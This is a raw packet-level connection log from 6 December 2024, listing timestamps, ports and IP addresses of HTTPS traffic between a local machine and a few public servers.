Dec 6, 2024 00:16:19.699425936 CET	443	50003	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:19.703177929 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.705034971 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.705553055 CET	49993	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.705570936 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.706012964 CET	49993	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.706017971 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.706104994 CET	49995	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.706110001 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.706607103 CET	49995	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.706609964 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.710695982 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.712105036 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.712490082 CET	49996	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.712497950 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.712857962 CET	49996	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.712861061 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.712934017 CET	49994	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.712954044 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:19.713264942 CET	49994	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:19.713268995 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.207362890 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.207441092 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.207499027 CET	49993	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.207729101 CET	49993	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.207745075 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.207756996 CET	49993	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.207762003 CET	443	49993	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.210500956 CET	50004	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.210536003 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.210750103 CET	50004	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.210905075 CET	50004	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.210918903 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217266083 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217331886 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217364073 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217375040 CET	49994	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217420101 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217464924 CET	49996	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217468023 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217521906 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217525005 CET	49996	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217540026 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217549086 CET	49996	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217554092 CET	443	49996	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217572927 CET	49995	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217827082 CET	49994	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217827082 CET	49994	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217839956 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217849016 CET	443	49994	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217933893 CET	49995	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217938900 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.217947006 CET	49995	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.217950106 CET	443	49995	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.219548941 CET	50005	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.219567060 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.219718933 CET	50005	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.219908953 CET	50005	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.219918966 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.220660925 CET	50006	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.220670938 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.220724106 CET	50006	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.220833063 CET	50006	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.220844030 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.221051931 CET	50007	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.221057892 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.221107960 CET	50007	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.221569061 CET	50007	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:20.221579075 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:20.986700058 CET	50000	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:20.986748934 CET	50001	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:20.986816883 CET	50002	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:20.986833096 CET	50003	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:20.987199068 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:20.987210035 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:20.987230062 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:20.987240076 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:20.987293005 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:20.987294912 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:20.988272905 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:20.988287926 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:20.988972902 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:20.988982916 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:21.341617107 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.349103928 CET	49999	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.349136114 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.350025892 CET	49999	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.350032091 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.775785923 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.775844097 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.775938988 CET	49999	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.781419992 CET	49999	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.781445980 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.781455040 CET	49999	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.781461954 CET	443	49999	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.786791086 CET	50013	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.786817074 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.786876917 CET	50013	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.787309885 CET	50013	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.787322998 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.944330931 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.944556952 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.946053982 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.946233988 CET	50007	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.946247101 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.946254015 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.949455976 CET	50007	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.949461937 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.949775934 CET	50005	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.949781895 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.950120926 CET	50005	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.950124025 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.953216076 CET	50004	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.953236103 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.953562021 CET	50004	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.953567028 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.956882954 CET	50006	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.956891060 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:21.957201958 CET	50006	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:21.957206011 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.381504059 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.381556988 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.381563902 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.381623030 CET	50007	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.381623983 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.381663084 CET	50004	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.381824970 CET	50007	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.381829023 CET	50004	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.381836891 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.381844044 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.381849051 CET	50004	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.381856918 CET	443	50004	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.381870031 CET	50007	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.381875038 CET	443	50007	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.382529974 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.382582903 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.382771015 CET	50005	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.382818937 CET	50005	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.382822037 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.382831097 CET	50005	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.382833004 CET	443	50005	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.384788990 CET	50014	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.384818077 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.384841919 CET	50015	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.384865046 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.384879112 CET	50014	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.384906054 CET	50015	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.385051012 CET	50014	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.385063887 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.385128021 CET	50015	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.385134935 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.385639906 CET	50016	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.385663033 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.385719061 CET	50016	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.385797977 CET	50016	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.385808945 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.387713909 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.387769938 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.387872934 CET	50006	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.387887001 CET	50006	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.387892962 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.387902021 CET	50006	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.387907028 CET	443	50006	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.389513969 CET	50017	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.389545918 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.389604092 CET	50017	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.389688969 CET	50017	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:22.389700890 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:22.697700977 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.697804928 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.698034048 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.698103905 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.698340893 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.698389053 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.698671103 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.698729038 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.701700926 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.701709986 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.701920033 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.702126026 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.702135086 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.702152014 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.702338934 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.702512026 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.702538013 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.702775955 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:22.743331909 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:22.743340015 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.597949982 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.598031998 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.598057032 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.598098993 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.598161936 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.598200083 CET	443	50010	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.598242998 CET	50010	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.598738909 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.598774910 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.598810911 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:23.598836899 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:23.598840952 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.598892927 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:23.599104881 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.599119902 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.599142075 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:23.599152088 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:23.603105068 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.603172064 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.603190899 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.603238106 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.603277922 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.603306055 CET	443	50009	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.603348970 CET	50009	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.603720903 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.603763103 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.603816032 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.603856087 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:23.603882074 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:23.603936911 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:23.604024887 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:23.604039907 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:23.604121923 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:23.604130983 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:24.105871916 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.106308937 CET	50014	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.106323957 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.106781006 CET	50014	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.106786013 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.222385883 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.222429037 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.222985983 CET	50015	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.222999096 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.223422050 CET	50015	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.223426104 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.223637104 CET	50017	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.223653078 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.223943949 CET	50017	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.223948956 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.225133896 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.225343943 CET	50016	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.225368023 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.225636959 CET	50016	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.225641966 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.543276072 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.543348074 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.543415070 CET	50014	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.554037094 CET	50014	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.554063082 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.554074049 CET	50014	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.554080009 CET	443	50014	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.602678061 CET	50023	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.602700949 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.602838039 CET	50023	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.602966070 CET	50023	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.602977037 CET	443	50023	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.664069891 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.664123058 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.664180994 CET	50017	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.664233923 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.664278030 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.664324045 CET	50016	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.664880991 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.664927959 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.664964914 CET	50015	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.712861061 CET	50017	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.712872982 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.712882996 CET	50017	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.712887049 CET	443	50017	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.713779926 CET	50016	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.713792086 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.713803053 CET	50016	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.713807106 CET	443	50016	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.714483023 CET	50015	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.714493990 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.714539051 CET	50015	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.714543104 CET	443	50015	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.719129086 CET	50024	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.719177961 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.719239950 CET	50024	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.719604015 CET	50024	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.719619036 CET	443	50024	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.720472097 CET	50025	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.720494986 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.720546007 CET	50025	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.720635891 CET	50025	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.720645905 CET	443	50025	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.721540928 CET	50026	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.721548080 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:24.721605062 CET	50026	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.721977949 CET	50026	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:24.721988916 CET	443	50026	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:25.287625074 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.287831068 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.288261890 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.288290024 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:25.288321972 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.288355112 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:25.291337013 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.291346073 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.291557074 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.291609049 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.291915894 CET	50018	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.293895960 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:25.293904066 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:25.294105053 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:25.294164896 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:25.294423103 CET	50019	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:25.295037985 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:25.295109987 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:25.296247005 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:25.296253920 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:25.296448946 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:25.296504021 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:25.296710968 CET	50021	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:25.338573933 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:25.339024067 CET	50013	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:25.339030981 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:25.339325905 CET	443	50019	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:25.339332104 CET	443	50018	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.339576960 CET	50013	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:25.339581966 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:25.343317986 CET	443	50021	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:25.398030996 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.398148060 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.398684025 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.398741007 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.400276899 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.400285959 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.400485039 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.400532961 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.400847912 CET	50020	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:25.443331957 CET	443	50020	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:25.773281097 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:25.773339987 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:25.773411989 CET	50013	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:25.773616076 CET	50013	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:25.773624897 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:25.773634911 CET	50013	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:25.773639917 CET	443	50013	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:25.776143074 CET	50029	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:25.776155949 CET	443	50029	13.107.246.63	192.168.2.4
